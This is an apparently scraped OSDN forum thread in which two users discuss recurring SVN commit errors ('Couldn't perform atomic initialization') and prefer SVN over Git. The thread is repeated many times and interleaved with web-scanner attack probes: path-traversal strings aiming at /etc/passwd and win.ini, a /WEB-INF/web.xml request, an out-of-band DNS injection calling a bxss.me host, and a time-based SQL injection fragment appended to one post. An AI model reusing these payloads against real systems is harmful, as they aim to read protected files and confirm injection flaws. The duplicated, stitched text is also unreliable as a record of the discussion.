https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
c:/windows/win.ini
'.gethostbyname(lc('hityt'.'tbrlqqanaa757.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(80).chr(97).chr(76).'
'"()
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
../././../././../././../././../././../././../././../././../././../././etc/passwd
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
/WEB-INF/web.xml
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
/\../\../\../\../\../\../\../etc/passwd
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/'||sleep(27*1000)*meoqrt||'
1 derekwildstar への返信
